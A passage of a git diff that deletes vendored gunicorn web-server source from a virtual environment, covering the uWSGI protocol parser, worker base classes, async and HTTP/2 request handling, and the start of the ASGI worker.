hooked up to the - # original file descriptors, then all bets are - # off and all we can really do is leave them as - # they were. - # - # This will allow 'gunicorn ... > output.log 2>&1' - # to work with stdout/stderr going to the file - # as expected. - # - # Note that if using --error-log option, the log - # file specified through shell redirection will - # only be used up until the log file specified - # by the option takes over. As it replaces stdout - # and stderr at the file descriptor level, then - # anything using stdout or stderr, including having - # cached a reference to them, will still work. - - def redirect(stream, fd_expect): - try: - fd = stream.fileno() - if fd == fd_expect and stream.isatty(): - os.close(fd) - os.dup2(fd_null, fd) - except AttributeError: - pass - - redirect(sys.stdout, 1) - redirect(sys.stderr, 2) - - -def seed(): - try: - random.seed(os.urandom(64)) - except NotImplementedError: - random.seed('%s.%s' % (time.time(), os.getpid())) - - -def check_is_writable(path): - try: - with open(path, 'a') as f: - f.close() - except OSError as e: - raise RuntimeError("Error: '%s' isn't writable [%r]" % (path, e)) - - -def to_bytestring(value, encoding="utf8"): - """Converts a string argument to a byte string""" - if isinstance(value, bytes): - return value - if not isinstance(value, str): - raise TypeError('%r is not a string' % value) - - return value.encode(encoding) - - -def has_fileno(obj): - if not hasattr(obj, "fileno"): - return False - - # check BytesIO case and maybe others - try: - obj.fileno() - except (AttributeError, OSError, io.UnsupportedOperation): - return False - - return True - - -def warn(msg): - print("!!!", file=sys.stderr) - - lines = msg.splitlines() - for i, line in enumerate(lines): - if i == 0: - line = "WARNING: %s" % line - print("!!! %s" % line, file=sys.stderr) - - print("!!!\n", file=sys.stderr) - sys.stderr.flush() - - -def make_fail_app(msg): - msg = to_bytestring(msg) - - def app(environ, start_response): - start_response("500 Internal Server Error", [ - ("Content-Type", "text/plain"), - ("Content-Length", str(len(msg))) - ]) - return [msg] - - return app - - -def split_request_uri(uri): - if uri.startswith("//"): - # When the path starts with //, urlsplit considers it as a - # relative uri while the RFC says we should consider it as abs_path - # http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html#sec5.1.2 - # We use temporary dot prefix to workaround this behaviour - parts = urllib.parse.urlsplit("." + uri) - return parts._replace(path=parts.path[1:]) - - return urllib.parse.urlsplit(uri) - - -# From six.reraise -def reraise(tp, value, tb=None): - try: - if value is None: - value = tp() - if value.__traceback__ is not tb: - raise value.with_traceback(tb) - raise value - finally: - value = None - tb = None - - -def bytes_to_str(b): - if isinstance(b, str): - return b - return str(b, 'latin1') - - -def unquote_to_wsgi_str(string): - return urllib.parse.unquote_to_bytes(string).decode('latin-1') diff --git a/venv/Lib/site-packages/gunicorn/uwsgi/__init__.py b/venv/Lib/site-packages/gunicorn/uwsgi/__init__.py deleted file mode 100644 index cdf4f60cc50b6077ebe74e2cb476178abdf8c2f7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/uwsgi/__init__.py +++ /dev/null @@ -1,21 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from gunicorn.uwsgi.message import UWSGIRequest -from gunicorn.uwsgi.parser import UWSGIParser -from gunicorn.uwsgi.errors import ( - UWSGIParseException, - InvalidUWSGIHeader, - UnsupportedModifier, - ForbiddenUWSGIRequest, -) - -__all__ = [ - 'UWSGIRequest', - 'UWSGIParser', - 'UWSGIParseException', - 'InvalidUWSGIHeader', - 'UnsupportedModifier', - 'ForbiddenUWSGIRequest', -] diff --git a/venv/Lib/site-packages/gunicorn/uwsgi/errors.py b/venv/Lib/site-packages/gunicorn/uwsgi/errors.py deleted file mode 100644 index cdbaee2191c9bcbbe14887a5b6c0a77d7b5d064d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/uwsgi/errors.py +++ /dev/null @@ -1,46 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -# We don't need to call super() in __init__ methods of our -# BaseException and Exception classes because we also define -# our own __str__ methods so there is no need to pass 'message' -# to the base class to get a meaningful output from 'str(exc)'. -# pylint: disable=super-init-not-called - - -class UWSGIParseException(Exception): - """Base exception for uWSGI protocol parsing errors.""" - - -class InvalidUWSGIHeader(UWSGIParseException): - """Raised when the uWSGI header is malformed.""" - - def __init__(self, msg=""): - self.msg = msg - self.code = 400 - - def __str__(self): - return "Invalid uWSGI header: %s" % self.msg - - -class UnsupportedModifier(UWSGIParseException): - """Raised when modifier1 is not 0 (WSGI request).""" - - def __init__(self, modifier): - self.modifier = modifier - self.code = 501 - - def __str__(self): - return "Unsupported uWSGI modifier1: %d" % self.modifier - - -class ForbiddenUWSGIRequest(UWSGIParseException): - """Raised when source IP is not in the allow list.""" - - def __init__(self, host): - self.host = host - self.code = 403 - - def __str__(self): - return "uWSGI request from %r not allowed" % self.host diff --git a/venv/Lib/site-packages/gunicorn/uwsgi/message.py b/venv/Lib/site-packages/gunicorn/uwsgi/message.py deleted file mode 100644 index 48a3fd7546781df524acccf1fc98d0b001feaf7f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/uwsgi/message.py +++ /dev/null @@ -1,240 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from gunicorn.http.body import LengthReader, Body -from gunicorn.uwsgi.errors import ( - InvalidUWSGIHeader, - UnsupportedModifier, - ForbiddenUWSGIRequest, -) - - -# Maximum number of variables to prevent DoS -MAX_UWSGI_VARS = 1000 - - -class UWSGIRequest: - """uWSGI protocol request parser. - - The uWSGI protocol uses a 4-byte binary header: - - Byte 0: modifier1 (packet type, 0 = WSGI request) - - Bytes 1-2: datasize (16-bit little-endian, size of vars block) - - Byte 3: modifier2 (additional flags, typically 0) - - After the header: - 1. Vars block (datasize bytes): Key-value pairs containing WSGI environ - - Each pair: 2-byte key_size (LE) + key + 2-byte val_size (LE) + value - 2. Request body (determined by CONTENT_LENGTH in vars) - """ - - def __init__(self, cfg, unreader, peer_addr, req_number=1): - self.cfg = cfg - self.unreader = unreader - self.peer_addr = peer_addr - self.remote_addr = peer_addr - self.req_number = req_number - - # Request attributes (compatible with HTTP Request interface) - self.method = None - self.uri = None - self.path = None - self.query = None - self.fragment = "" - self.version = (1, 1) # uWSGI is HTTP/1.1 compatible - self.headers = [] - self.trailers = [] - self.body = None - self.scheme = "https" if cfg.is_ssl else "http" - self.must_close = False - - # uWSGI specific - self.uwsgi_vars = {} - self.modifier1 = 0 - self.modifier2 = 0 - - # Proxy protocol compatibility - self.proxy_protocol_info = None - - # 100-continue: not applicable for uWSGI as the frontend handles this - self._expected_100_continue = False - - # Check if the source IP is allowed - self._check_allowed_ip() - - # Parse the request - unused = self.parse(self.unreader) - self.unreader.unread(unused) - self.set_body_reader() - - def _check_allowed_ip(self): - """Verify source IP is in the allowed list.""" - allow_ips = getattr(self.cfg, 'uwsgi_allow_ips', ['127.0.0.1', '::1']) - - # UNIX sockets don't have IP addresses - if not isinstance(self.peer_addr, tuple): - return - - # Wildcard allows all - if '*' in allow_ips: - return - - if self.peer_addr[0] not in allow_ips: - raise ForbiddenUWSGIRequest(self.peer_addr[0]) - - def force_close(self): - """Force the connection to close after this request.""" - self.must_close = True - - def parse(self, unreader): - """Parse uWSGI packet header and vars block.""" - # Read the 4-byte header - header = self._read_exact(unreader, 4) - if len(header) < 4: - raise InvalidUWSGIHeader("incomplete header") - - self.modifier1 = header[0] - datasize = int.from_bytes(header[1:3], 'little') - self.modifier2 = header[3] - - # Only modifier1=0 (WSGI request) is supported - if self.modifier1 != 0: - raise UnsupportedModifier(self.modifier1) - - # Read the vars block - if datasize > 0: - vars_data = self._read_exact(unreader, datasize) - if len(vars_data) < datasize: - raise InvalidUWSGIHeader("incomplete vars block") - self._parse_vars(vars_data) - - # Extract HTTP request info from vars - self._extract_request_info() - - return b"" - - def _read_exact(self, unreader, size): - """Read exactly size bytes from the unreader.""" - return unreader.read(size) - - def _parse_vars(self, data): - """Parse uWSGI vars block into key-value pairs. - - Format: key_size (2 bytes LE) + key + val_size (2 bytes LE) + value - """ - pos = 0 - var_count = 0 - - while pos < len(data): - if var_count >= MAX_UWSGI_VARS: - raise InvalidUWSGIHeader("too many variables") - - # Key size (2 bytes, little-endian) - if pos + 2 > len(data): - raise InvalidUWSGIHeader("truncated key size") - key_size = int.from_bytes(data[pos:pos + 2], 'little') - pos += 2 - - # Key - if pos + key_size > len(data): - raise InvalidUWSGIHeader("truncated key") - key = data[pos:pos + key_size].decode('latin-1') - pos += key_size - - # Value size (2 bytes, little-endian) - if pos + 2 > len(data): - raise InvalidUWSGIHeader("truncated value size") - val_size = int.from_bytes(data[pos:pos + 2], 'little') - pos += 2 - - # Value - if pos + val_size > len(data): - raise InvalidUWSGIHeader("truncated value") - value = data[pos:pos + val_size].decode('latin-1') - pos += val_size - - self.uwsgi_vars[key] = value - var_count += 1 - - def _extract_request_info(self): - """Extract HTTP request info from uWSGI vars. - - Header Mapping (CGI/WSGI to HTTP): - - The uWSGI protocol passes HTTP headers using CGI-style environment - variable naming. This method converts them back to HTTP header format: - - - HTTP_* vars: Strip 'HTTP_' prefix, replace '_' with '-' - Example: HTTP_X_FORWARDED_FOR -> X-FORWARDED-FOR - Example: HTTP_ACCEPT_ENCODING -> ACCEPT-ENCODING - - - CONTENT_TYPE: Mapped directly to CONTENT-TYPE header - (CGI spec excludes HTTP_ prefix for this header) - - - CONTENT_LENGTH: Mapped directly to CONTENT-LENGTH header - (CGI spec excludes HTTP_ prefix for this header) - - Note: The underscore-to-hyphen conversion is lossy. Headers that - originally contained underscores (e.g., X_Custom_Header) cannot be - distinguished from hyphenated headers (X-Custom-Header) after - passing through nginx/uWSGI. This is a CGI/WSGI specification - limitation, not specific to this implementation. - """ - # Method - self.method = self.uwsgi_vars.get('REQUEST_METHOD', 'GET') - - # URI and path - self.path = self.uwsgi_vars.get('PATH_INFO', '/') - self.query = self.uwsgi_vars.get('QUERY_STRING', '') - - # Build URI - if self.query: - self.uri = "%s?%s" % (self.path, self.query) - else: - self.uri = self.path - - # Scheme - if self.uwsgi_vars.get('HTTPS', '').lower() in ('on', '1', 'true'): - self.scheme = 'https' - elif 'wsgi.url_scheme' in self.uwsgi_vars: - self.scheme = self.uwsgi_vars['wsgi.url_scheme'] - - # Extract HTTP headers from CGI-style vars - # See docstring above for mapping details - for key, value in self.uwsgi_vars.items(): - if key.startswith('HTTP_'): - # Convert HTTP_HEADER_NAME to HEADER-NAME - header_name = key[5:].replace('_', '-') - self.headers.append((header_name, value)) - elif key == 'CONTENT_TYPE': - self.headers.append(('CONTENT-TYPE', value)) - elif key == 'CONTENT_LENGTH': - self.headers.append(('CONTENT-LENGTH', value)) - - def set_body_reader(self): - """Set up the body reader based on CONTENT_LENGTH.""" - content_length = 0 - - # Get content length from vars - if 'CONTENT_LENGTH' in self.uwsgi_vars: - try: - content_length = max(int(self.uwsgi_vars['CONTENT_LENGTH']), 0) - except ValueError: - content_length = 0 - - self.body = Body(LengthReader(self.unreader, content_length)) - - def should_close(self): - """Determine if the connection should be closed after this request.""" - if self.must_close: - return True - - # Check HTTP_CONNECTION header - connection = self.uwsgi_vars.get('HTTP_CONNECTION', '').lower() - if connection == 'close': - return True - elif connection == 'keep-alive': - return False - - # Default to keep-alive for HTTP/1.1 - return False diff --git a/venv/Lib/site-packages/gunicorn/uwsgi/parser.py b/venv/Lib/site-packages/gunicorn/uwsgi/parser.py deleted file mode 100644 index fede8c56dcf2b387a93faf525c30b1a6bc10dd2a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/uwsgi/parser.py +++ /dev/null @@ -1,12 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from gunicorn.http.parser import Parser -from gunicorn.uwsgi.message import UWSGIRequest - - -class UWSGIParser(Parser): - """Parser for uWSGI protocol requests.""" - - mesg_class = UWSGIRequest diff --git a/venv/Lib/site-packages/gunicorn/workers/__init__.py b/venv/Lib/site-packages/gunicorn/workers/__init__.py deleted file mode 100644 index ce0f8f5116f522ad9e58409eeca617dc7bbb659a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/__init__.py +++ /dev/null @@ -1,14 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -# supported gunicorn workers. -SUPPORTED_WORKERS = { - "sync": "gunicorn.workers.sync.SyncWorker", - "gevent": "gunicorn.workers.ggevent.GeventWorker", - "gevent_wsgi": "gunicorn.workers.ggevent.GeventPyWSGIWorker", - "gevent_pywsgi": "gunicorn.workers.ggevent.GeventPyWSGIWorker", - "tornado": "gunicorn.workers.gtornado.TornadoWorker", - "gthread": "gunicorn.workers.gthread.ThreadWorker", - "asgi": "gunicorn.workers.gasgi.ASGIWorker", -} diff --git a/venv/Lib/site-packages/gunicorn/workers/base.py b/venv/Lib/site-packages/gunicorn/workers/base.py deleted file mode 100644 index 5abd4d6bae49ea7d2265d901734f580bd2795eef..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/base.py +++ /dev/null @@ -1,287 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import io -import os -import signal -import sys -import time -import traceback -from datetime import datetime -from random import randint -from ssl import SSLError - -from gunicorn import util -from gunicorn.http.errors import ( - ForbiddenProxyRequest, InvalidHeader, - InvalidHeaderName, InvalidHTTPVersion, - InvalidProxyLine, InvalidRequestLine, - InvalidRequestMethod, InvalidSchemeHeaders, - LimitRequestHeaders, LimitRequestLine, - UnsupportedTransferCoding, ExpectationFailed, - ConfigurationProblem, ObsoleteFolding, -) -from gunicorn.http.wsgi import Response, default_environ -from gunicorn.reloader import reloader_engines -from gunicorn.workers.workertmp import WorkerTmp - - -class Worker: - - SIGNALS = [getattr(signal, "SIG%s" % x) for x in ( - "ABRT HUP QUIT INT TERM USR1 USR2 WINCH CHLD".split() - )] - - PIPE = [] - - def __init__(self, age, ppid, sockets, app, timeout, cfg, log): - """\ - This is called pre-fork so it shouldn't do anything to the - current process. If there's a need to make process wide - changes you'll want to do that in ``self.init_process()``. - """ - self.age = age - self.pid = "[booting]" - self.ppid = ppid - self.sockets = sockets - self.app = app - self.timeout = timeout - self.cfg = cfg - self.booted = False - self.aborted = False - self.reloader = None - - self.nr = 0 - - if cfg.max_requests > 0: - jitter = randint(0, cfg.max_requests_jitter) - self.max_requests = cfg.max_requests + jitter - else: - self.max_requests = sys.maxsize - - self.alive = True - self.log = log - self.tmp = WorkerTmp(cfg) - - def __str__(self): - return "" % self.pid - - def notify(self): - """\ - Your worker subclass must arrange to have this method called - once every ``self.timeout`` seconds. If you fail in accomplishing - this task, the master process will murder your workers. - """ - self.tmp.notify() - - def run(self): - """\ - This is the mainloop of a worker process. You should override - this method in a subclass to provide the intended behaviour - for your particular evil schemes. - """ - raise NotImplementedError() - - def init_process(self): - """\ - If you override this method in a subclass, the last statement - in the function should be to call this method with - super().init_process() so that the ``run()`` loop is initiated. - """ - - # set environment' variables - if self.cfg.env: - for k, v in self.cfg.env.items(): - os.environ[k] = v - - util.set_owner_process(self.cfg.uid, self.cfg.gid, - initgroups=self.cfg.initgroups) - - # Reseed the random number generator - util.seed() - - # For waking ourselves up - self.PIPE = os.pipe() - for p in self.PIPE: - util.set_non_blocking(p) - util.close_on_exec(p) - - # Prevent fd inheritance - for s in self.sockets: - util.close_on_exec(s) - util.close_on_exec(self.tmp.fileno()) - - self.wait_fds = self.sockets + [self.PIPE[0]] - - self.log.close_on_exec() - - self.init_signals() - - # start the reloader - if self.cfg.reload: - def changed(fname): - self.log.info("Worker reloading: %s modified", fname) - self.alive = False - os.write(self.PIPE[1], b"1") - self.cfg.worker_int(self) - time.sleep(0.1) - sys.exit(0) - - self.log.warning("Reloader is on. Use in development only!") - reloader_cls = reloader_engines[self.cfg.reload_engine] - self.reloader = reloader_cls(extra_files=self.cfg.reload_extra_files, - callback=changed) - - self.load_wsgi() - if self.reloader: - self.reloader.start() - - self.cfg.post_worker_init(self) - - # Enter main run loop - self.booted = True - self.run() - - def load_wsgi(self): - try: - self.wsgi = self.app.wsgi() - except SyntaxError as e: - if not self.cfg.reload: - raise - - self.log.exception(e) - - if self.reloader is not None and e.filename is not None: - self.reloader.add_extra_file(e.filename) - - with io.StringIO() as tb_string: - traceback.print_exception(e, file=tb_string) - self.wsgi = util.make_fail_app(tb_string.getvalue()) - - def init_signals(self): - # reset signaling - for s in self.SIGNALS: - signal.signal(s, signal.SIG_DFL) - # init new signaling - signal.signal(signal.SIGQUIT, self.handle_quit) - signal.signal(signal.SIGTERM, self.handle_exit) - signal.signal(signal.SIGINT, self.handle_quit) - signal.signal(signal.SIGWINCH, self.handle_winch) - signal.signal(signal.SIGUSR1, self.handle_usr1) - signal.signal(signal.SIGABRT, self.handle_abort) - - # Don't let SIGTERM and SIGUSR1 disturb active requests - # by interrupting system calls - signal.siginterrupt(signal.SIGTERM, False) - signal.siginterrupt(signal.SIGUSR1, False) - - if hasattr(signal, 'set_wakeup_fd'): - signal.set_wakeup_fd(self.PIPE[1]) - - def handle_usr1(self, sig, frame): - self.log.reopen_files() - - def handle_exit(self, sig, frame): - self.alive = False - - def handle_quit(self, sig, frame): - self.alive = False - # worker_int callback - self.cfg.worker_int(self) - time.sleep(0.1) - sys.exit(0) - - def handle_abort(self, sig, frame): - self.alive = False - self.cfg.worker_abort(self) - sys.exit(1) - - def handle_error(self, req, client, addr, exc): - request_start = datetime.now() - addr = addr or ('', -1) # unix socket case - if isinstance(exc, ( - InvalidRequestLine, InvalidRequestMethod, - InvalidHTTPVersion, InvalidHeader, InvalidHeaderName, - LimitRequestLine, LimitRequestHeaders, - InvalidProxyLine, ForbiddenProxyRequest, - InvalidSchemeHeaders, UnsupportedTransferCoding, - ConfigurationProblem, ObsoleteFolding, ExpectationFailed, - SSLError, - )): - - status_int = 400 - reason = "Bad Request" - - if isinstance(exc, InvalidRequestLine): - mesg = "Invalid Request Line '%s'" % str(exc) - elif isinstance(exc, InvalidRequestMethod): - mesg = "Invalid Method '%s'" % str(exc) - elif isinstance(exc, InvalidHTTPVersion): - mesg = "Invalid HTTP Version '%s'" % str(exc) - elif isinstance(exc, UnsupportedTransferCoding): - mesg = "%s" % str(exc) - status_int = 501 - elif isinstance(exc, ConfigurationProblem): - mesg = "%s" % str(exc) - status_int = 500 - elif isinstance(exc, ObsoleteFolding): - mesg = "%s" % str(exc) - elif isinstance(exc, (InvalidHeaderName, InvalidHeader,)): - mesg = "%s" % str(exc) - if not req and hasattr(exc, "req"): - req = exc.req # for access log - elif isinstance(exc, LimitRequestLine): - mesg = "%s" % str(exc) - elif isinstance(exc, ExpectationFailed): - reason = "Expectation Failed" - mesg = str(exc) - status_int = 417 - elif isinstance(exc, LimitRequestHeaders): - reason = "Request Header Fields Too Large" - mesg = "Error parsing headers: '%s'" % str(exc) - status_int = 431 - elif isinstance(exc, InvalidProxyLine): - mesg = "'%s'" % str(exc) - elif isinstance(exc, ForbiddenProxyRequest): - reason = "Forbidden" - mesg = "Request forbidden" - status_int = 403 - elif isinstance(exc, InvalidSchemeHeaders): - mesg = "%s" % str(exc) - elif isinstance(exc, SSLError): - reason = "Forbidden" - mesg = "'%s'" % str(exc) - status_int = 403 - - msg = "Invalid request from ip={ip}: {error}" - self.log.warning(msg.format(ip=addr[0], error=str(exc))) - else: - if hasattr(req, "uri") and hasattr(req, "method"): - self.log.exception("Error handling request %s %s", req.method, req.uri) - elif hasattr(req, "uri"): - self.log.exception("Error handling request %s", req.uri) - else: - self.log.exception("Error handling request (no URI read)") - status_int = 500 - reason = "Internal Server Error" - mesg = "" - - if req is not None: - request_time = datetime.now() - request_start - environ = default_environ(req, client, self.cfg) - environ['REMOTE_ADDR'] = addr[0] - environ['REMOTE_PORT'] = str(addr[1]) - resp = Response(req, client, self.cfg) - resp.status = "%s %s" % (status_int, reason) - resp.response_length = len(mesg) - self.log.access(resp, req, environ, request_time) - - try: - util.write_error(client, status_int, reason, mesg) - except Exception: - self.log.debug("Failed to send error message.") - - def handle_winch(self, sig, fname): - # Ignore SIGWINCH in worker. Fixes a crash on OpenBSD. - self.log.debug("worker: SIGWINCH ignored.") diff --git a/venv/Lib/site-packages/gunicorn/workers/base_async.py b/venv/Lib/site-packages/gunicorn/workers/base_async.py deleted file mode 100644 index db35b3a540e1c4ff7a89e1f62517805cfaed12a2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/base_async.py +++ /dev/null @@ -1,257 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from datetime import datetime -import errno -import socket -import ssl -import sys - -from gunicorn import http -from gunicorn.http import wsgi -from gunicorn import util -from gunicorn import sock as gunicorn_sock -from gunicorn.workers import base - -ALREADY_HANDLED = object() - - -class AsyncWorker(base.Worker): - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.worker_connections = self.cfg.worker_connections - - def timeout_ctx(self): - raise NotImplementedError() - - def is_already_handled(self, respiter): - # some workers will need to overload this function to raise a StopIteration - return respiter == ALREADY_HANDLED - - def handle(self, listener, client, addr): - req = None - try: - # Complete the handshake to ensure ALPN negotiation is done - # (needed if do_handshake_on_connect is False) - if isinstance(client, ssl.SSLSocket) and not self.cfg.do_handshake_on_connect: - client.do_handshake() - - # Check if HTTP/2 was negotiated (for SSL connections) - is_http2 = gunicorn_sock.is_http2_negotiated(client) - - if is_http2: - # Handle HTTP/2 connection - self.handle_http2(listener, client, addr) - return - - parser = http.get_parser(self.cfg, client, addr) - try: - listener_name = listener.getsockname() - if not self.cfg.keepalive: - req = next(parser) - self.handle_request(listener_name, req, client, addr) - else: - # keepalive loop - proxy_protocol_info = {} - while True: - req = None - with self.timeout_ctx(): - req = next(parser) - if not req: - break - if req.proxy_protocol_info: - proxy_protocol_info = req.proxy_protocol_info - else: - req.proxy_protocol_info = proxy_protocol_info - self.handle_request(listener_name, req, client, addr) - except http.errors.NoMoreData as e: - self.log.debug("Ignored premature client disconnection. %s", e) - except StopIteration as e: - self.log.debug("Closing connection. %s", e) - except ssl.SSLError: - # pass to next try-except level - util.reraise(*sys.exc_info()) - except OSError: - # pass to next try-except level - util.reraise(*sys.exc_info()) - except Exception as e: - self.handle_error(req, client, addr, e) - except ssl.SSLError as e: - if e.args[0] == ssl.SSL_ERROR_EOF: - self.log.debug("ssl connection closed") - client.close() - else: - self.log.debug("Error processing SSL request.") - self.handle_error(req, client, addr, e) - except OSError as e: - if e.errno not in (errno.EPIPE, errno.ECONNRESET, errno.ENOTCONN): - self.log.exception("Socket error processing request.") - else: - if e.errno == errno.ECONNRESET: - self.log.debug("Ignoring connection reset") - elif e.errno == errno.ENOTCONN: - self.log.debug("Ignoring socket not connected") - else: - self.log.debug("Ignoring EPIPE") - except BaseException as e: - self.handle_error(req, client, addr, e) - finally: - util.close(client) - - def handle_http2(self, listener, client, addr): - """Handle an HTTP/2 connection. - - Processes multiplexed HTTP/2 streams until the connection closes. - """ - listener_name = listener.getsockname() - - try: - h2_conn = http.get_parser(self.cfg, client, addr, http2_connection=True) - h2_conn.initiate_connection() - - while not h2_conn.is_closed and self.alive: - try: - requests = h2_conn.receive_data() - except http.errors.NoMoreData: - self.log.debug("HTTP/2 connection closed by client") - break - - for req in requests: - try: - self.handle_http2_request(listener_name, req, client, addr, h2_conn) - except Exception as e: - self.log.exception("Error handling HTTP/2 request") - try: - h2_conn.send_error(req.stream.stream_id, 500, str(e)) - except Exception: - pass - finally: - h2_conn.cleanup_stream(req.stream.stream_id) - - except ssl.SSLError as e: - if e.args[0] == ssl.SSL_ERROR_EOF: - self.log.debug("HTTP/2 SSL connection closed") - else: - self.log.debug("HTTP/2 SSL error: %s", e) - except OSError as e: - if e.errno not in (errno.EPIPE, errno.ECONNRESET, errno.ENOTCONN): - self.log.exception("HTTP/2 socket error") - except Exception as e: - self.log.exception("HTTP/2 connection error: %s", e) - - def handle_http2_request(self, listener_name, req, sock, addr, h2_conn): - """Handle a single HTTP/2 request.""" - stream_id = req.stream.stream_id - request_start = datetime.now() - environ = {} - resp = None - - try: - self.cfg.pre_request(self, req) - resp, environ = wsgi.create(req, sock, addr, listener_name, self.cfg) - environ["wsgi.multithread"] = True - environ["HTTP_VERSION"] = "2" - - self.nr += 1 - if self.nr >= self.max_requests: - if self.alive: - self.log.info("Autorestarting worker after current request.") - self.alive = False - - # Run WSGI app - respiter = self.wsgi(environ, resp.start_response) - if self.is_already_handled(respiter): - return - - # Collect response body - response_body = b'' - try: - if hasattr(respiter, '__iter__'): - for item in respiter: - if item: - response_body += item - finally: - if hasattr(respiter, "close"): - respiter.close() - - # Send response via HTTP/2 - h2_conn.send_response( - stream_id, - resp.status_code, - resp.headers, - response_body - ) - - request_time = datetime.now() - request_start - self.log.access(resp, req, environ, request_time) - - except Exception: - self.log.exception("Error handling HTTP/2 request") - raise - finally: - try: - self.cfg.post_request(self, req, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") - - def handle_request(self, listener_name, req, sock, addr): - request_start = datetime.now() - environ = {} - resp = None - try: - self.cfg.pre_request(self, req) - resp, environ = wsgi.create(req, sock, addr, - listener_name, self.cfg) - environ["wsgi.multithread"] = True - self.nr += 1 - if self.nr >= self.max_requests: - if self.alive: - self.log.info("Autorestarting worker after current request.") - self.alive = False - - if not self.alive or not self.cfg.keepalive: - resp.force_close() - - respiter = self.wsgi(environ, resp.start_response) - if self.is_already_handled(respiter): - return False - try: - if isinstance(respiter, environ['wsgi.file_wrapper']): - resp.write_file(respiter) - else: - for item in respiter: - resp.write(item) - resp.close() - finally: - request_time = datetime.now() - request_start - self.log.access(resp, req, environ, request_time) - if hasattr(respiter, "close"): - respiter.close() - if resp.should_close(): - raise StopIteration() - except StopIteration: - raise - except OSError: - # If the original exception was a socket.error we delegate - # handling it to the caller (where handle() might ignore it) - util.reraise(*sys.exc_info()) - except Exception: - if resp and resp.headers_sent: - # If the requests have already been sent, we should close the - # connection to indicate the error. - self.log.exception("Error handling request") - try: - sock.shutdown(socket.SHUT_RDWR) - sock.close() - except OSError: - pass - raise StopIteration() - raise - finally: - try: - self.cfg.post_request(self, req, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") - return True diff --git a/venv/Lib/site-packages/gunicorn/workers/gasgi.py b/venv/Lib/site-packages/gunicorn/workers/gasgi.py deleted file mode 100644 index c52d04feb116ded925c8034dcf8a8c50ebe25359..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/workers/gasgi.py +++ /dev/null @@ -1,303 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -ASGI worker for gunicorn. - -Provides native asyncio-based ASGI support using gunicorn's own -HTTP parsing infrastructure. -""" - -import asyncio -import os -import signal -import sys - -from gunicorn.workers import base -from gunicorn.asgi.protocol import ASGIProtocol - - -class ASGIWorker(base.Worker): - """ASGI worker using asyncio event loop. - - Supports: - - HTTP/1.1 with keepalive - - WebSocket connections - - Lifespan protocol (startup/shutdown hooks) - - Optional uvloop for improved performance - """ - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.worker_connections = self.cfg.worker_connections - self.loop = None - self.servers = [] - self.nr_conns = 0 - self.lifespan = None - self.state = {} # Shared state for lifespan - self._quick_shutdown = False # True for SIGINT/SIGQUIT (immediate), False for SIGTERM (graceful) - - @classmethod - def check_config(cls, cfg, log): - """Validate configuration for ASGI worker.""" - if cfg.threads > 1: - log.warning("ASGI worker does not use threads configuration. " - "Use worker_connections instead.") - - def init_process(self): - """Initialize the worker process.""" - # Setup event loop before calling super() - self._setup_event_loop() - super().init_process() - - def _setup_event_loop(self): - """Setup the asyncio event loop.""" - loop_type = getattr(self.cfg, 'asgi_loop', 'auto') - - if loop_type == "auto": - try: - import uvloop - loop_type = "uvloop" - except ImportError: - loop_type = "asyncio" - - if loop_type == "uvloop": - try: - import uvloop - self.loop = uvloop.new_event_loop() - self.log.debug("Using uvloop event loop") - except ImportError: - self.log.warning("uvloop not available, falling back to asyncio") - self.loop = asyncio.new_event_loop() - else: - self.loop = asyncio.new_event_loop() - self.log.debug("Using asyncio event loop") - - asyncio.set_event_loop(self.loop) - - def load_wsgi(self): - """Load the ASGI application.""" - try: - self.asgi = self.app.wsgi() - except SyntaxError as e: - if not self.cfg.reload: - raise - self.log.exception(e) - self.asgi = self._make_error_app(str(e)) - - def _make_error_app(self, error_msg): - """Create an error ASGI app for syntax errors during reload.""" - async def error_app(scope, receive, send): - if scope["type"] == "http": - await send({ - "type": "http.response.start", - "status": 500, - "headers": [(b"content-type", b"text/plain")], - }) - await send({ - "type": "http.response.body", - "body": f"Application error: {error_msg}".encode(), - }) - elif scope["type"] == "lifespan": - message = await receive() - if message["type"] == "lifespan.startup": - await send({"type": "lifespan.startup.complete"}) - message = await receive() - if message["type"] == "lifespan.shutdown": - await send({"type": "lifespan.shutdown.complete"}) - return error_app - - def init_signals(self): - """Initialize signal handlers for asyncio.""" - # Reset all signals first - for s in self.SIGNALS: - signal.signal(s, signal.SIG_DFL) - - # Set up signal handlers via the event loop - self.loop.add_signal_handler(signal.SIGQUIT, self.handle_quit_signal) - self.loop.add_signal_handler(signal.SIGTERM, self.handle_exit_signal) - self.loop.add_signal_handler(signal.SIGINT, self.handle_quit_signal) - self.loop.add_signal_handler(signal.SIGUSR1, self.handle_usr1_signal) - self.loop.add_signal_handler(signal.SIGWINCH, self.handle_winch_signal) - self.loop.add_signal_handler(signal.SIGABRT, self.handle_abort_signal) - - def handle_quit_signal(self): - """Handle SIGQUIT/SIGINT - immediate shutdown.""" - self._quick_shutdown = True - if not self.alive: - # Already shutting down (SIGTERM was sent) - wake up the loop - return - self.alive = False - self.cfg.worker_int(self) - - def handle_exit_signal(self): - """Handle SIGTERM - graceful shutdown.""" - self.alive = False - - def handle_usr1_signal(self): - """Handle SIGUSR1 